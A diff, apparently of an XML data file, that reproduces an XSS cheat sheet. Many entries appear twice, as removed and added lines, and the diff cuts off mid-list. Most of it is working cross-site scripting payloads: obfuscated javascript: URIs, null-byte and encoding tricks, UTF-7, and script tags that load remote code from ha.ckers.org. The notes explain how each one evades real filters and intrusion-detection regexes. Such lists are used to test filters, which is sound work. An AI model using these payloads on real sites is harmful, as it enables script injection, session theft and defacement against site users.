class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>Embedded Tab</name> - <code><IMG SRC="jav	ascript:alert('XSS');"></code> - <desc>Embedded tab to break up the cross site scripting attack.</desc> - <label>Embedded Character Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>Embedded Encoded Tab</name> - <code><IMG SRC="jav&#x09;ascript:alert('XSS');"></code> - <desc>Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below.</desc> - <label>Embedded Character Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>Embedded Newline</name> - <code><IMG SRC="jav&#x0A;ascript:alert('XSS');"></code> - <desc>Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work.</desc> - <label>Embedded Character Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>Embedded Carriage Return</name> - <code><IMG SRC="jav&#x0D;ascript:alert('XSS');"></code> - <desc>Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters).</desc> - <label>Embedded Character Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>Multiline w/Carriage Returns</name> - <code><IMG
SRC
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
'
X
S
S
'
)
"
>
</code> - <desc>Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector).</desc> - <label>Embedded Character Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>Null Chars 1</name> - <code>perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out</code> - <desc>Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example.</desc> - <label>Embedded Character Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>Null Chars 2</name> - <code>perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out</code> - <desc>Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date</desc> - <label>Embedded Character Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>Spaces/Meta Chars</name> - <code><IMG SRC=" &#14; javascript:alert('XSS');"></code> - <desc>Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal).</desc> - <label>Embedded Character Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>Non-Alpha/Non-Digit</name> - <code><SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> - <desc>Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s"</desc> - <label>Embedded Character Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>Non-Alpha/Non-Digit Part 2</name> - <code><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")></code> - <desc>Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here.</desc> - <label>Embedded Character Attacks</label> - <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>No Closing Script Tag</name> - <code><SCRIPT SRC=http://ha.ckers.org/xss.js</code> - <desc>In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally.</desc> - <label>Embedded Character Attacks</label> - <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>Protocol resolution in script tags</name> - <code><SCRIPT SRC=//ha.ckers.org/.j></code> - <desc>This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag.</desc> - <label>Embedded Character Attacks</label> - <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>Half-Open HTML/JavaScript</name> - <code><IMG SRC="javascript:alert('XSS')"</code> +\u003C</code> + <desc>All of the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render, but many of them can get rendered in certain circumstances (standards are great, aren't they?).</desc> + <label>Character Encoding Attacks</label> + <browser>Browser support:</browser> + </attack> + <attack> + <name>Case Insensitive</name> + <code><IMG SRC=JaVaScRiPt:alert('XSS')></code> + <desc>Case insensitive XSS attack vector.</desc> + <label>Character Encoding Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>HTML Entities</name> + <code><IMG SRC=javascript:alert(&quot;XSS&quot;)></code> + <desc>HTML entities (the semicolons are required for this to work).</desc> + <label>Character Encoding Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>Grave Accents</name> + <code><IMG SRC=`javascript:alert("RSnake says, 'XSS'")`></code> + <desc>Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents).</desc> + <label>Character Encoding Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>Image w/CharCode</name> + <code><IMG SRC=javascript:alert(String.fromCharCode(88,83,83))></code> + <desc>If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need.</desc> + <label>Character Encoding Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>UTF-8 Unicode Encoding</name> + <code><IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;></code> + <desc>UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).</desc> + <label>Character Encoding Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>Long UTF-8 Unicode w/out Semicolons</name> + <code><IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041></code> + <desc>Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I've seen this in the wild).</desc> + <label>Character Encoding Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>DIV w/Unicode</name> + <code><DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"></code> + <desc>DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail.</desc> + <label>Character Encoding Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>Hex Encoding w/out Semicolons</name> + <code><IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29></code> + <desc>Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).</desc> + <label>Character Encoding Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>UTF-7 Encoding</name> + <code><HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-</code> + <desc>UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script.</desc> + <label>Character Encoding Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>Escaping JavaScript escapes</name> + <code>\";alert('XSS');//</code> + <desc>Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire.</desc> + <label>Character Encoding Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>End title tag</name> + <code></TITLE><SCRIPT>alert("XSS");</SCRIPT></code> + <desc>This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack.</desc> + <label>Character Encoding Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>STYLE w/broken up JavaScript</name> + <code><STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE></code> + <desc>STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts).</desc> + <label>Character Encoding Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>Embedded Tab</name> + <code><IMG SRC="jav	ascript:alert('XSS');"></code> + <desc>Embedded tab to break up the cross site scripting attack.</desc> + <label>Embedded Character Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>Embedded Encoded Tab</name> + <code><IMG SRC="jav&#x09;ascript:alert('XSS');"></code> + <desc>Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below.</desc> + <label>Embedded Character Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>Embedded Newline</name> + <code><IMG SRC="jav&#x0A;ascript:alert('XSS');"></code> + <desc>Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work.</desc> + <label>Embedded Character Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>Embedded Carriage Return</name> + <code><IMG SRC="jav&#x0D;ascript:alert('XSS');"></code> + <desc>Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters).</desc> + <label>Embedded Character Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>Multiline w/Carriage Returns</name> + <code><IMG
SRC
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
'
X
S
S
'
)
"
>
</code> + <desc>Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector).</desc> + <label>Embedded Character Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>Null Chars 1</name> + <code>perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out</code> + <desc>Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example.</desc> + <label>Embedded Character Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>Null Chars 2</name> + <code>perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out</code> + <desc>Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date</desc> + <label>Embedded Character Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>Spaces/Meta Chars</name> + <code><IMG SRC=" &#14; javascript:alert('XSS');"></code> + <desc>Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal).</desc> + <label>Embedded Character Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>Non-Alpha/Non-Digit</name> + <code><SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> + <desc>Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s"</desc> + <label>Embedded Character Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>Non-Alpha/Non-Digit Part 2</name> + <code><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")></code> + <desc>Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here.</desc> + <label>Embedded Character Attacks</label> + <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>No Closing Script Tag</name> + <code><SCRIPT SRC=http://ha.ckers.org/xss.js</code> + <desc>In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally.</desc> + <label>Embedded Character Attacks</label> + <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>Protocol resolution in script tags</name> + <code><SCRIPT SRC=//ha.ckers.org/.j></code> + <desc>This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag.</desc> + <label>Embedded Character Attacks</label> + <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>Half-Open HTML/JavaScript</name> + <code><IMG SRC="javascript:alert('XSS')"</code> <desc>Unlike Firefox, the IE rendering engine doesn't add extra data to your page, but it does allow the "javascript:" directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close > tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex: - /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ -As a side note, this was also effective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag.</desc> - <label>Embedded Character Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>Double open angle brackets</name> - <code><IFRAME SRC=http://ha.ckers.org/scriptlet.html <</code> - <desc>This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't</desc> - <label>Embedded Character Attacks</label> - <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> - </attack> - <attack> - <name>Extraneous Open Brackets</name> - <code><<SCRIPT>alert("XSS");//<</SCRIPT></code> - <desc>(Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error.</desc> - <label>Embedded Character Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>Malformed IMG Tags</name> - <code><IMG """><SCRIPT>alert("XSS")</SCRIPT>"></code> - <desc>Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag.</desc> - <label>Embedded Character Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>No Quotes/Semicolons</name> + /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ +As a side note, this was also effective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag.</desc> + <label>Embedded Character Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>Double open angle brackets</name> + <code><IFRAME SRC=http://ha.ckers.org/scriptlet.html <</code> + <desc>This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't</desc> + <label>Embedded Character Attacks</label> + <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> + </attack> + <attack> + <name>Extraneous Open Brackets</name> + <code><<SCRIPT>alert("XSS");//<</SCRIPT></code> + <desc>(Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorithm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to suppress a JavaScript error.</desc> + <label>Embedded Character Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>Malformed IMG Tags</name> + <code><IMG """><SCRIPT>alert("XSS")</SCRIPT>"></code> + <desc>Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag.</desc> + <label>Embedded Character Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>No Quotes/Semicolons</name> <code><SCRIPT>a=/XSS/ -alert(a.source)</SCRIPT></code> - <desc>No single quotes or double quotes or semicolons.</desc> - <label>Embedded Character Attacks</label> - <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> - </attack> - <attack> - <name>Event Handlers List 1</name> - <code>See Below</code> +alert(a.source)</SCRIPT></code> + <desc>No single quotes or double quotes or semicolons.</desc> + <label>Embedded Character Attacks</label> + <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> + </attack> + <attack> + <name>Event Handlers List 1</name> + <code>See Below</code> <desc>Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (http://www.secaron.de/) for the HTML+TIME updates: - + -FSCommand() (execute from within an embedded Flash object) - + -onAbort() (when user aborts the loading of an image) - + -onActivate() (when object is set as the active element) - + -onAfterPrint() (activates after user prints or previews print job) - + -onAfterUpdate() (activates on data object after updating data in the source object) - + -onBeforeActivate() (fires before the object is set as the active element) - + -onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard (use the execCommand("Copy") function) - + -onBeforeCut() (attacker executes the attack string right before a selection is cut) - + -onBeforeDeactivate() (fires right after the activeElement is changed from the current object) - + -onBeforeEditFocus() (fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected) - + -onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function) - + -onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function) - + -onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent) - + -onBegin() (fires immediately when the element's timeline begins) - + -onBlur() (in the case where another popup is loaded and window loses focus) - + -onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window) - + -onCellChange() (fires when data changes in the data provider) - + -onChange() (fires when select, text, or TEXTAREA field loses focus and its value has been modified) - + -onClick() (fires when someone clicks on a form) - + -onContextMenu() (user would need to right click on attack area) - + -onControlSelect() (fires when the user is about to make a control selection of the object) - + -onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command) - + -onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command) - --onDataAvailible() (user would need to change data in an element, or attacker could perform the same function) - + +-onDataAvailable() (user would need to change data in an element, or 